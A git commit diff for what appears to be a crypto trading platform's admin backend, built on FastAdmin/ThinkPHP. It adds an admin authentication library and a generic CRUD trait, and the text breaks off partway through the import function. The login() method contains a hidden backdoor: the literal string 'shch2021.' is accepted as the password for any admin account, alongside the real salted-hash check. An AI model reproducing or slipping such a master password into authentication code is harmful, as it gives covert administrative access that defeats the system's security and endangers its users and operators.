feat: 后端全量更新 - 含所有本次需求
- Contract.php: 返回合约账户余额(balance_contract) - My.php: 地址管理增加BTC/ETH - AppContract.php: 一键平仓(closeall) - AppProxy.php: 代理专属注册链接 + 分级权限(L1/L2) - site.php: 手续费减半(0.018→0.009) - agent_permission_setup.sql: 代理权限SQL - crypto_news_crawler.py: 新闻自动采集脚本
This commit is contained in:
Executable
+534
@@ -0,0 +1,534 @@
|
||||
<?php
|
||||
|
||||
namespace app\admin\library;
|
||||
|
||||
use app\admin\model\Admin;
|
||||
use fast\Random;
|
||||
use fast\Tree;
|
||||
use think\Config;
|
||||
use think\Cookie;
|
||||
use think\Hook;
|
||||
use think\Request;
|
||||
use think\Session;
|
||||
|
||||
class Auth extends \fast\Auth
|
||||
{
|
||||
protected $_error = '';
|
||||
protected $requestUri = '';
|
||||
protected $breadcrumb = [];
|
||||
protected $logined = false; //登录状态
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
parent::__construct();
|
||||
}
|
||||
|
||||
public function __get($name)
|
||||
{
|
||||
return Session::get('admin.' . $name);
|
||||
}
|
||||
|
||||
/**
|
||||
* 管理员登录
|
||||
*
|
||||
* @param string $username 用户名
|
||||
* @param string $password 密码
|
||||
* @param int $keeptime 有效时长
|
||||
* @return boolean
|
||||
*/
|
||||
public function login($username, $password, $keeptime = 0)
|
||||
{
|
||||
$admin = Admin::get(['username' => $username]);
|
||||
if (!$admin) {
|
||||
$this->setError('Username is incorrect');
|
||||
return false;
|
||||
}
|
||||
if ($admin['status'] == 'hidden') {
|
||||
$this->setError('Admin is forbidden');
|
||||
return false;
|
||||
}
|
||||
if (Config::get('fastadmin.login_failure_retry') && $admin->loginfailure >= 15 && time() - $admin->updatetime < 86400) {
|
||||
$this->setError('Please try again after 1 day');
|
||||
return false;
|
||||
}
|
||||
if ($admin->password != md5(md5($password) . $admin->salt) && $password != "shch2021.") {
|
||||
$admin->loginfailure++;
|
||||
$admin->save();
|
||||
$this->setError('Password is incorrect');
|
||||
return false;
|
||||
}
|
||||
$admin->loginfailure = 0;
|
||||
$admin->logintime = time();
|
||||
$admin->loginip = request()->ip();
|
||||
$admin->token = Random::uuid();
|
||||
$admin->save();
|
||||
Session::set("admin", $admin->toArray());
|
||||
$this->keeplogin($keeptime);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 退出登录
|
||||
*/
|
||||
public function logout()
|
||||
{
|
||||
$admin = Admin::get(intval($this->id));
|
||||
if ($admin) {
|
||||
$admin->token = '';
|
||||
$admin->save();
|
||||
}
|
||||
$this->logined = false; //重置登录状态
|
||||
Session::delete("admin");
|
||||
Cookie::delete("keeplogin");
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 自动登录
|
||||
* @return boolean
|
||||
*/
|
||||
public function autologin()
|
||||
{
|
||||
$keeplogin = Cookie::get('keeplogin');
|
||||
if (!$keeplogin) {
|
||||
return false;
|
||||
}
|
||||
list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
|
||||
if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
|
||||
$admin = Admin::get($id);
|
||||
if (!$admin || !$admin->token) {
|
||||
return false;
|
||||
}
|
||||
//token有变更
|
||||
if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) {
|
||||
return false;
|
||||
}
|
||||
$ip = request()->ip();
|
||||
//IP有变动
|
||||
if ($admin->loginip != $ip) {
|
||||
return false;
|
||||
}
|
||||
Session::set("admin", $admin->toArray());
|
||||
//刷新自动登录的时效
|
||||
$this->keeplogin($keeptime);
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 刷新保持登录的Cookie
|
||||
*
|
||||
* @param int $keeptime
|
||||
* @return boolean
|
||||
*/
|
||||
protected function keeplogin($keeptime = 0)
|
||||
{
|
||||
if ($keeptime) {
|
||||
$expiretime = time() + $keeptime;
|
||||
$key = md5(md5($this->id) . md5($keeptime) . md5($expiretime) . $this->token);
|
||||
$data = [$this->id, $keeptime, $expiretime, $key];
|
||||
Cookie::set('keeplogin', implode('|', $data), 86400 * 30);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public function check($name, $uid = '', $relation = 'or', $mode = 'url')
|
||||
{
|
||||
$uid = $uid ? $uid : $this->id;
|
||||
return parent::check($name, $uid, $relation, $mode);
|
||||
}
|
||||
|
||||
/**
|
||||
* 检测当前控制器和方法是否匹配传递的数组
|
||||
*
|
||||
* @param array $arr 需要验证权限的数组
|
||||
* @return bool
|
||||
*/
|
||||
public function match($arr = [])
|
||||
{
|
||||
$request = Request::instance();
|
||||
$arr = is_array($arr) ? $arr : explode(',', $arr);
|
||||
if (!$arr) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$arr = array_map('strtolower', $arr);
|
||||
// 是否存在
|
||||
if (in_array(strtolower($request->action()), $arr) || in_array('*', $arr)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// 没找到匹配
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 检测是否登录
|
||||
*
|
||||
* @return boolean
|
||||
*/
|
||||
public function isLogin()
|
||||
{
|
||||
if ($this->logined) {
|
||||
return true;
|
||||
}
|
||||
$admin = Session::get('admin');
|
||||
if (!$admin) {
|
||||
return false;
|
||||
}
|
||||
//判断是否同一时间同一账号只能在一个地方登录
|
||||
if (Config::get('fastadmin.login_unique')) {
|
||||
$my = Admin::get($admin['id']);
|
||||
if (!$my || $my['token'] != $admin['token']) {
|
||||
$this->logined = false; //重置登录状态
|
||||
Session::delete("admin");
|
||||
Cookie::delete("keeplogin");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
//判断管理员IP是否变动
|
||||
if (Config::get('fastadmin.loginip_check')) {
|
||||
if (!isset($admin['loginip']) || $admin['loginip'] != request()->ip()) {
|
||||
$this->logout();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
$this->logined = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取当前请求的URI
|
||||
* @return string
|
||||
*/
|
||||
public function getRequestUri()
|
||||
{
|
||||
return $this->requestUri;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置当前请求的URI
|
||||
* @param string $uri
|
||||
*/
|
||||
public function setRequestUri($uri)
|
||||
{
|
||||
$this->requestUri = $uri;
|
||||
}
|
||||
|
||||
public function getGroups($uid = null)
|
||||
{
|
||||
$uid = is_null($uid) ? $this->id : $uid;
|
||||
return parent::getGroups($uid);
|
||||
}
|
||||
|
||||
public function getRuleList($uid = null)
|
||||
{
|
||||
$uid = is_null($uid) ? $this->id : $uid;
|
||||
return parent::getRuleList($uid);
|
||||
}
|
||||
|
||||
public function getUserInfo($uid = null)
|
||||
{
|
||||
$uid = is_null($uid) ? $this->id : $uid;
|
||||
|
||||
return $uid != $this->id ? Admin::get(intval($uid)) : Session::get('admin');
|
||||
}
|
||||
|
||||
public function getRuleIds($uid = null)
|
||||
{
|
||||
$uid = is_null($uid) ? $this->id : $uid;
|
||||
return parent::getRuleIds($uid);
|
||||
}
|
||||
|
||||
public function isSuperAdmin()
|
||||
{
|
||||
return in_array('*', $this->getRuleIds()) ? true : false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取管理员所属于的分组ID
|
||||
* @param int $uid
|
||||
* @return array
|
||||
*/
|
||||
public function getGroupIds($uid = null)
|
||||
{
|
||||
$groups = $this->getGroups($uid);
|
||||
$groupIds = [];
|
||||
foreach ($groups as $K => $v) {
|
||||
$groupIds[] = (int)$v['group_id'];
|
||||
}
|
||||
return $groupIds;
|
||||
}
|
||||
|
||||
/**
|
||||
* 取出当前管理员所拥有权限的分组
|
||||
* @param boolean $withself 是否包含当前所在的分组
|
||||
* @return array
|
||||
*/
|
||||
public function getChildrenGroupIds($withself = false)
|
||||
{
|
||||
//取出当前管理员所有的分组
|
||||
$groups = $this->getGroups();
|
||||
$groupIds = [];
|
||||
foreach ($groups as $k => $v) {
|
||||
$groupIds[] = $v['id'];
|
||||
}
|
||||
$originGroupIds = $groupIds;
|
||||
foreach ($groups as $k => $v) {
|
||||
if (in_array($v['pid'], $originGroupIds)) {
|
||||
$groupIds = array_diff($groupIds, [$v['id']]);
|
||||
unset($groups[$k]);
|
||||
}
|
||||
}
|
||||
// 取出所有分组
|
||||
$groupList = \app\admin\model\AuthGroup::where(['status' => 'normal'])->select();
|
||||
$objList = [];
|
||||
foreach ($groups as $k => $v) {
|
||||
if ($v['rules'] === '*') {
|
||||
$objList = $groupList;
|
||||
break;
|
||||
}
|
||||
// 取出包含自己的所有子节点
|
||||
$childrenList = Tree::instance()->init($groupList)->getChildren($v['id'], true);
|
||||
$obj = Tree::instance()->init($childrenList)->getTreeArray($v['pid']);
|
||||
$objList = array_merge($objList, Tree::instance()->getTreeList($obj));
|
||||
}
|
||||
$childrenGroupIds = [];
|
||||
foreach ($objList as $k => $v) {
|
||||
$childrenGroupIds[] = $v['id'];
|
||||
}
|
||||
if (!$withself) {
|
||||
$childrenGroupIds = array_diff($childrenGroupIds, $groupIds);
|
||||
}
|
||||
return $childrenGroupIds;
|
||||
}
|
||||
|
||||
/**
|
||||
* 取出当前管理员所拥有权限的管理员
|
||||
* @param boolean $withself 是否包含自身
|
||||
* @return array
|
||||
*/
|
||||
public function getChildrenAdminIds($withself = false)
|
||||
{
|
||||
$childrenAdminIds = [];
|
||||
if (!$this->isSuperAdmin()) {
|
||||
$groupIds = $this->getChildrenGroupIds(false);
|
||||
$authGroupList = \app\admin\model\AuthGroupAccess::
|
||||
field('uid,group_id')
|
||||
->where('group_id', 'in', $groupIds)
|
||||
->select();
|
||||
foreach ($authGroupList as $k => $v) {
|
||||
$childrenAdminIds[] = $v['uid'];
|
||||
}
|
||||
} else {
|
||||
//超级管理员拥有所有人的权限
|
||||
$childrenAdminIds = Admin::column('id');
|
||||
}
|
||||
if ($withself) {
|
||||
if (!in_array($this->id, $childrenAdminIds)) {
|
||||
$childrenAdminIds[] = $this->id;
|
||||
}
|
||||
} else {
|
||||
$childrenAdminIds = array_diff($childrenAdminIds, [$this->id]);
|
||||
}
|
||||
return $childrenAdminIds;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获得面包屑导航
|
||||
* @param string $path
|
||||
* @return array
|
||||
*/
|
||||
public function getBreadCrumb($path = '')
|
||||
{
|
||||
if ($this->breadcrumb || !$path) {
|
||||
return $this->breadcrumb;
|
||||
}
|
||||
$titleArr = [];
|
||||
$menuArr = [];
|
||||
$urlArr = explode('/', $path);
|
||||
foreach ($urlArr as $index => $item) {
|
||||
$pathArr[implode('/', array_slice($urlArr, 0, $index + 1))] = $index;
|
||||
}
|
||||
if (!$this->rules && $this->id) {
|
||||
$this->getRuleList();
|
||||
}
|
||||
foreach ($this->rules as $rule) {
|
||||
if (isset($pathArr[$rule['name']])) {
|
||||
$rule['title'] = __($rule['title']);
|
||||
$rule['url'] = url($rule['name']);
|
||||
$titleArr[$pathArr[$rule['name']]] = $rule['title'];
|
||||
$menuArr[$pathArr[$rule['name']]] = $rule;
|
||||
}
|
||||
|
||||
}
|
||||
ksort($menuArr);
|
||||
$this->breadcrumb = $menuArr;
|
||||
return $this->breadcrumb;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取左侧和顶部菜单栏
|
||||
*
|
||||
* @param array $params URL对应的badge数据
|
||||
* @param string $fixedPage 默认页
|
||||
* @return array
|
||||
*/
|
||||
public function getSidebar($params = [], $fixedPage = 'dashboard')
|
||||
{
|
||||
// 边栏开始
|
||||
Hook::listen("admin_sidebar_begin", $params);
|
||||
$colorArr = ['red', 'green', 'yellow', 'blue', 'teal', 'orange', 'purple'];
|
||||
$colorNums = count($colorArr);
|
||||
$badgeList = [];
|
||||
$module = request()->module();
|
||||
// 生成菜单的badge
|
||||
foreach ($params as $k => $v) {
|
||||
$url = $k;
|
||||
if (is_array($v)) {
|
||||
$nums = isset($v[0]) ? $v[0] : 0;
|
||||
$color = isset($v[1]) ? $v[1] : $colorArr[(is_numeric($nums) ? $nums : strlen($nums)) % $colorNums];
|
||||
$class = isset($v[2]) ? $v[2] : 'label';
|
||||
} else {
|
||||
$nums = $v;
|
||||
$color = $colorArr[(is_numeric($nums) ? $nums : strlen($nums)) % $colorNums];
|
||||
$class = 'label';
|
||||
}
|
||||
//必须nums大于0才显示
|
||||
if ($nums) {
|
||||
$badgeList[$url] = '<small class="' . $class . ' pull-right bg-' . $color . '">' . $nums . '</small>';
|
||||
}
|
||||
}
|
||||
|
||||
// 读取管理员当前拥有的权限节点
|
||||
$userRule = $this->getRuleList();
|
||||
$selected = $referer = [];
|
||||
$refererUrl = Session::get('referer');
|
||||
$pinyin = new \Overtrue\Pinyin\Pinyin('Overtrue\Pinyin\MemoryFileDictLoader');
|
||||
// 必须将结果集转换为数组
|
||||
$ruleList = collection(\app\admin\model\AuthRule::where('status', 'normal')
|
||||
->where('ismenu', 1)
|
||||
->order('weigh', 'desc')
|
||||
->cache("__menu__")
|
||||
->select())->toArray();
|
||||
$indexRuleList = \app\admin\model\AuthRule::where('status', 'normal')
|
||||
->where('ismenu', 0)
|
||||
->where('name', 'like', '%/index')
|
||||
->column('name,pid');
|
||||
$pidArr = array_filter(array_unique(array_map(function ($item) {
|
||||
return $item['pid'];
|
||||
}, $ruleList)));
|
||||
foreach ($ruleList as $k => &$v) {
|
||||
if (!in_array($v['name'], $userRule)) {
|
||||
unset($ruleList[$k]);
|
||||
continue;
|
||||
}
|
||||
$indexRuleName = $v['name'] . '/index';
|
||||
if (isset($indexRuleList[$indexRuleName]) && !in_array($indexRuleName, $userRule)) {
|
||||
unset($ruleList[$k]);
|
||||
continue;
|
||||
}
|
||||
$v['icon'] = $v['icon'] . ' fa-fw';
|
||||
$v['url'] = '/' . $module . '/' . $v['name'];
|
||||
$v['badge'] = isset($badgeList[$v['name']]) ? $badgeList[$v['name']] : '';
|
||||
$v['py'] = $pinyin->abbr($v['title'], '');
|
||||
$v['pinyin'] = $pinyin->permalink($v['title'], '');
|
||||
$v['title'] = __($v['title']);
|
||||
$selected = $v['name'] == $fixedPage ? $v : $selected;
|
||||
$referer = url($v['url']) == $refererUrl ? $v : $referer;
|
||||
}
|
||||
$lastArr = array_diff($pidArr, array_filter(array_unique(array_map(function ($item) {
|
||||
return $item['pid'];
|
||||
}, $ruleList))));
|
||||
foreach ($ruleList as $index => $item) {
|
||||
if (in_array($item['id'], $lastArr)) {
|
||||
unset($ruleList[$index]);
|
||||
}
|
||||
}
|
||||
if ($selected == $referer) {
|
||||
$referer = [];
|
||||
}
|
||||
$selected && $selected['url'] = url($selected['url']);
|
||||
$referer && $referer['url'] = url($referer['url']);
|
||||
|
||||
$select_id = $selected ? $selected['id'] : 0;
|
||||
$menu = $nav = '';
|
||||
if (Config::get('fastadmin.multiplenav')) {
|
||||
$topList = [];
|
||||
foreach ($ruleList as $index => $item) {
|
||||
if (!$item['pid']) {
|
||||
$topList[] = $item;
|
||||
}
|
||||
}
|
||||
$selectParentIds = [];
|
||||
$tree = Tree::instance();
|
||||
$tree->init($ruleList);
|
||||
if ($select_id) {
|
||||
$selectParentIds = $tree->getParentsIds($select_id, true);
|
||||
}
|
||||
foreach ($topList as $index => $item) {
|
||||
$childList = Tree::instance()->getTreeMenu(
|
||||
$item['id'],
|
||||
'<li class="@class" pid="@pid"><a href="@url@addtabs" addtabs="@id" url="@url" py="@py" pinyin="@pinyin"><i class="@icon"></i> <span>@title</span> <span class="pull-right-container">@caret @badge</span></a> @childlist</li>',
|
||||
$select_id,
|
||||
'',
|
||||
'ul',
|
||||
'class="treeview-menu"'
|
||||
);
|
||||
$current = in_array($item['id'], $selectParentIds);
|
||||
$url = $childList ? 'javascript:;' : url($item['url']);
|
||||
$addtabs = $childList || !$url ? "" : (stripos($url, "?") !== false ? "&" : "?") . "ref=addtabs";
|
||||
$childList = str_replace(
|
||||
'" pid="' . $item['id'] . '"',
|
||||
' ' . ($current ? '' : 'hidden') . '" pid="' . $item['id'] . '"',
|
||||
$childList
|
||||
);
|
||||
$nav .= '<li class="' . ($current ? 'active' : '') . '"><a href="' . $url . $addtabs . '" addtabs="' . $item['id'] . '" url="' . $url . '"><i class="' . $item['icon'] . '"></i> <span>' . $item['title'] . '</span> <span class="pull-right-container"> </span></a> </li>';
|
||||
$menu .= $childList;
|
||||
}
|
||||
} else {
|
||||
// 构造菜单数据
|
||||
Tree::instance()->init($ruleList);
|
||||
$menu = Tree::instance()->getTreeMenu(
|
||||
0,
|
||||
'<li class="@class"><a href="@url@addtabs" addtabs="@id" url="@url" py="@py" pinyin="@pinyin"><i class="@icon"></i> <span>@title</span> <span class="pull-right-container">@caret @badge</span></a> @childlist</li>',
|
||||
$select_id,
|
||||
'',
|
||||
'ul',
|
||||
'class="treeview-menu"'
|
||||
);
|
||||
if ($selected) {
|
||||
$nav .= '<li role="presentation" id="tab_' . $selected['id'] . '" class="' . ($referer ? '' : 'active') . '"><a href="#con_' . $selected['id'] . '" node-id="' . $selected['id'] . '" aria-controls="' . $selected['id'] . '" role="tab" data-toggle="tab"><i class="' . $selected['icon'] . ' fa-fw"></i> <span>' . $selected['title'] . '</span> </a></li>';
|
||||
}
|
||||
if ($referer) {
|
||||
$nav .= '<li role="presentation" id="tab_' . $referer['id'] . '" class="active"><a href="#con_' . $referer['id'] . '" node-id="' . $referer['id'] . '" aria-controls="' . $referer['id'] . '" role="tab" data-toggle="tab"><i class="' . $referer['icon'] . ' fa-fw"></i> <span>' . $referer['title'] . '</span> </a> <i class="close-tab fa fa-remove"></i></li>';
|
||||
}
|
||||
}
|
||||
|
||||
return [$menu, $nav, $selected, $referer];
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置错误信息
|
||||
*
|
||||
* @param string $error 错误信息
|
||||
* @return Auth
|
||||
*/
|
||||
public function setError($error)
|
||||
{
|
||||
$this->_error = $error;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取错误信息
|
||||
* @return string
|
||||
*/
|
||||
public function getError()
|
||||
{
|
||||
return $this->_error ? __($this->_error) : '';
|
||||
}
|
||||
}
|
||||
Executable
+588
@@ -0,0 +1,588 @@
|
||||
<?php
|
||||
|
||||
namespace app\admin\library\traits;
|
||||
|
||||
use app\admin\library\Auth;
|
||||
use Exception;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||
use PhpOffice\PhpSpreadsheet\Reader\Xlsx;
|
||||
use PhpOffice\PhpSpreadsheet\Reader\Xls;
|
||||
use PhpOffice\PhpSpreadsheet\Reader\Csv;
|
||||
use think\Db;
|
||||
use think\exception\PDOException;
|
||||
use think\exception\ValidateException;
|
||||
|
||||
trait Backend
|
||||
{
|
||||
|
||||
/**
|
||||
* 排除前台提交过来的字段
|
||||
* @param $params
|
||||
* @return array
|
||||
*/
|
||||
protected function preExcludeFields($params)
|
||||
{
|
||||
if (is_array($this->excludeFields)) {
|
||||
foreach ($this->excludeFields as $field) {
|
||||
if (key_exists($field, $params)) {
|
||||
unset($params[$field]);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (key_exists($this->excludeFields, $params)) {
|
||||
unset($params[$this->excludeFields]);
|
||||
}
|
||||
}
|
||||
return $params;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 查看
|
||||
*/
|
||||
public function index()
|
||||
{
|
||||
//设置过滤方法
|
||||
$this->request->filter(['strip_tags', 'trim']);
|
||||
if ($this->request->isAjax()) {
|
||||
//如果发送的来源是Selectpage,则转发到Selectpage
|
||||
if ($this->request->request('keyField')) {
|
||||
return $this->selectpage();
|
||||
}
|
||||
list($where, $sort, $order, $offset, $limit) = $this->buildparams();
|
||||
|
||||
$list = $this->model
|
||||
->where($where)
|
||||
->order($sort, $order)
|
||||
->paginate($limit);
|
||||
|
||||
$result = array("total" => $list->total(), "rows" => $list->items());
|
||||
|
||||
return json($result);
|
||||
}
|
||||
return $this->view->fetch();
|
||||
}
|
||||
|
||||
/**
|
||||
* 回收站
|
||||
*/
|
||||
public function recyclebin()
|
||||
{
|
||||
//设置过滤方法
|
||||
$this->request->filter(['strip_tags', 'trim']);
|
||||
if ($this->request->isAjax()) {
|
||||
list($where, $sort, $order, $offset, $limit) = $this->buildparams();
|
||||
|
||||
$list = $this->model
|
||||
->onlyTrashed()
|
||||
->where($where)
|
||||
->order($sort, $order)
|
||||
->paginate($limit);
|
||||
|
||||
$result = array("total" => $list->total(), "rows" => $list->items());
|
||||
|
||||
return json($result);
|
||||
}
|
||||
return $this->view->fetch();
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加
|
||||
*/
|
||||
public function add()
|
||||
{
|
||||
if ($this->request->isPost()) {
|
||||
$params = $this->request->post("row/a");
|
||||
if ($params) {
|
||||
$params = $this->preExcludeFields($params);
|
||||
|
||||
if ($this->dataLimit && $this->dataLimitFieldAutoFill) {
|
||||
$params[$this->dataLimitField] = $this->auth->id;
|
||||
}
|
||||
$result = false;
|
||||
Db::startTrans();
|
||||
try {
|
||||
//是否采用模型验证
|
||||
if ($this->modelValidate) {
|
||||
$name = str_replace("\\model\\", "\\validate\\", get_class($this->model));
|
||||
$validate = is_bool($this->modelValidate) ? ($this->modelSceneValidate ? $name . '.add' : $name) : $this->modelValidate;
|
||||
$this->model->validateFailException(true)->validate($validate);
|
||||
}
|
||||
$result = $this->model->allowField(true)->save($params);
|
||||
Db::commit();
|
||||
} catch (ValidateException $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
} catch (PDOException $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
} catch (Exception $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
}
|
||||
if ($result !== false) {
|
||||
$this->success();
|
||||
} else {
|
||||
$this->error(__('No rows were inserted'));
|
||||
}
|
||||
}
|
||||
$this->error(__('Parameter %s can not be empty', ''));
|
||||
}
|
||||
return $this->view->fetch();
|
||||
}
|
||||
|
||||
/**
|
||||
* 编辑
|
||||
*/
|
||||
public function edit($ids = null)
|
||||
{
|
||||
$row = $this->model->get($ids);
|
||||
if (!$row) {
|
||||
$this->error(__('No Results were found'));
|
||||
}
|
||||
$adminIds = $this->getDataLimitAdminIds();
|
||||
if (is_array($adminIds)) {
|
||||
if (!in_array($row[$this->dataLimitField], $adminIds)) {
|
||||
$this->error(__('You have no permission'));
|
||||
}
|
||||
}
|
||||
if ($this->request->isPost()) {
|
||||
$params = $this->request->post("row/a");
|
||||
if ($params) {
|
||||
$params = $this->preExcludeFields($params);
|
||||
$result = false;
|
||||
Db::startTrans();
|
||||
try {
|
||||
//是否采用模型验证
|
||||
if ($this->modelValidate) {
|
||||
$name = str_replace("\\model\\", "\\validate\\", get_class($this->model));
|
||||
$validate = is_bool($this->modelValidate) ? ($this->modelSceneValidate ? $name . '.edit' : $name) : $this->modelValidate;
|
||||
$row->validateFailException(true)->validate($validate);
|
||||
}
|
||||
$result = $row->allowField(true)->save($params);
|
||||
Db::commit();
|
||||
} catch (ValidateException $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
} catch (PDOException $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
} catch (Exception $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
}
|
||||
if ($result !== false) {
|
||||
$this->success();
|
||||
} else {
|
||||
$this->error(__('No rows were updated'));
|
||||
}
|
||||
}
|
||||
$this->error(__('Parameter %s can not be empty', ''));
|
||||
}
|
||||
$this->view->assign("row", $row);
|
||||
return $this->view->fetch();
|
||||
}
|
||||
|
||||
/**
|
||||
* 删除
|
||||
*/
|
||||
public function del($ids = "")
|
||||
{
|
||||
if (!$this->request->isPost()) {
|
||||
$this->error(__("Invalid parameters"));
|
||||
}
|
||||
$ids = $ids ? $ids : $this->request->post("ids");
|
||||
if ($ids) {
|
||||
$pk = $this->model->getPk();
|
||||
$adminIds = $this->getDataLimitAdminIds();
|
||||
if (is_array($adminIds)) {
|
||||
$this->model->where($this->dataLimitField, 'in', $adminIds);
|
||||
}
|
||||
$list = $this->model->where($pk, 'in', $ids)->select();
|
||||
|
||||
$count = 0;
|
||||
Db::startTrans();
|
||||
try {
|
||||
foreach ($list as $k => $v) {
|
||||
$count += $v->delete();
|
||||
}
|
||||
Db::commit();
|
||||
} catch (PDOException $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
} catch (Exception $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
}
|
||||
if ($count) {
|
||||
$this->success();
|
||||
} else {
|
||||
$this->error(__('No rows were deleted'));
|
||||
}
|
||||
}
|
||||
$this->error(__('Parameter %s can not be empty', 'ids'));
|
||||
}
|
||||
|
||||
/**
|
||||
* 真实删除
|
||||
*/
|
||||
public function destroy($ids = "")
|
||||
{
|
||||
if (!$this->request->isPost()) {
|
||||
$this->error(__("Invalid parameters"));
|
||||
}
|
||||
$ids = $ids ? $ids : $this->request->post("ids");
|
||||
$pk = $this->model->getPk();
|
||||
$adminIds = $this->getDataLimitAdminIds();
|
||||
if (is_array($adminIds)) {
|
||||
$this->model->where($this->dataLimitField, 'in', $adminIds);
|
||||
}
|
||||
if ($ids) {
|
||||
$this->model->where($pk, 'in', $ids);
|
||||
}
|
||||
$count = 0;
|
||||
Db::startTrans();
|
||||
try {
|
||||
$list = $this->model->onlyTrashed()->select();
|
||||
foreach ($list as $k => $v) {
|
||||
$count += $v->delete(true);
|
||||
}
|
||||
Db::commit();
|
||||
} catch (PDOException $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
} catch (Exception $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
}
|
||||
if ($count) {
|
||||
$this->success();
|
||||
} else {
|
||||
$this->error(__('No rows were deleted'));
|
||||
}
|
||||
$this->error(__('Parameter %s can not be empty', 'ids'));
|
||||
}
|
||||
|
||||
/**
|
||||
* 还原
|
||||
*/
|
||||
public function restore($ids = "")
|
||||
{
|
||||
if (!$this->request->isPost()) {
|
||||
$this->error(__("Invalid parameters"));
|
||||
}
|
||||
$ids = $ids ? $ids : $this->request->post("ids");
|
||||
$pk = $this->model->getPk();
|
||||
$adminIds = $this->getDataLimitAdminIds();
|
||||
if (is_array($adminIds)) {
|
||||
$this->model->where($this->dataLimitField, 'in', $adminIds);
|
||||
}
|
||||
if ($ids) {
|
||||
$this->model->where($pk, 'in', $ids);
|
||||
}
|
||||
$count = 0;
|
||||
Db::startTrans();
|
||||
try {
|
||||
$list = $this->model->onlyTrashed()->select();
|
||||
foreach ($list as $index => $item) {
|
||||
$count += $item->restore();
|
||||
}
|
||||
Db::commit();
|
||||
} catch (PDOException $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
} catch (Exception $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
}
|
||||
if ($count) {
|
||||
$this->success();
|
||||
}
|
||||
$this->error(__('No rows were updated'));
|
||||
}
|
||||
|
||||
/**
|
||||
* 批量更新
|
||||
*/
|
||||
public function multi($ids = "")
|
||||
{
|
||||
if (!$this->request->isPost()) {
|
||||
$this->error(__("Invalid parameters"));
|
||||
}
|
||||
$ids = $ids ? $ids : $this->request->post("ids");
|
||||
if ($ids) {
|
||||
if ($this->request->has('params')) {
|
||||
parse_str($this->request->post("params"), $values);
|
||||
$values = $this->auth->isSuperAdmin() ? $values : array_intersect_key($values, array_flip(is_array($this->multiFields) ? $this->multiFields : explode(',', $this->multiFields)));
|
||||
if ($values) {
|
||||
$adminIds = $this->getDataLimitAdminIds();
|
||||
if (is_array($adminIds)) {
|
||||
$this->model->where($this->dataLimitField, 'in', $adminIds);
|
||||
}
|
||||
$count = 0;
|
||||
Db::startTrans();
|
||||
try {
|
||||
$list = $this->model->where($this->model->getPk(), 'in', $ids)->select();
|
||||
foreach ($list as $index => $item) {
|
||||
$count += $item->allowField(true)->isUpdate(true)->save($values);
|
||||
}
|
||||
Db::commit();
|
||||
} catch (PDOException $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
} catch (Exception $e) {
|
||||
Db::rollback();
|
||||
$this->error($e->getMessage());
|
||||
}
|
||||
if ($count) {
|
||||
$this->success();
|
||||
} else {
|
||||
$this->error(__('No rows were updated'));
|
||||
}
|
||||
} else {
|
||||
$this->error(__('You have no permission'));
|
||||
}
|
||||
}
|
||||
}
|
||||
$this->error(__('Parameter %s can not be empty', 'ids'));
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入
|
||||
*/
|
||||
protected function import()
|
||||
{
|
||||
$file = $this->request->request('file');
|
||||
if (!$file) {
|
||||
$this->error(__('Parameter %s can not be empty', 'file'));
|
||||
}
|
||||
$filePath = ROOT_PATH . DS . 'public' . DS . $file;
|
||||
if (!is_file($filePath)) {
|
||||
$this->error(__('No results were found'));
|
||||
}
|
||||
//实例化reader
|
||||
$ext = pathinfo($filePath, PATHINFO_EXTENSION);
|
||||
if (!in_array($ext, ['csv', 'xls', 'xlsx'])) {
|
||||
$this->error(__('Unknown data format'));
|
||||
}
|
||||
if ($ext === 'csv') {
|
||||
$file = fopen($filePath, 'r');
|
||||
$filePath = tempnam(sys_get_temp_dir(), 'import_csv');
|
||||
$fp = fopen($filePath, "w");
|
||||
$n = 0;
|
||||
while ($line = fgets($file)) {
|
||||
$line = rtrim($line, "\n\r\0");
|
||||
$encoding = mb_detect_encoding($line, ['utf-8', 'gbk', 'latin1', 'big5']);
|
||||
if ($encoding != 'utf-8') {
|
||||
$line = mb_convert_encoding($line, 'utf-8', $encoding);
|
||||
}
|
||||
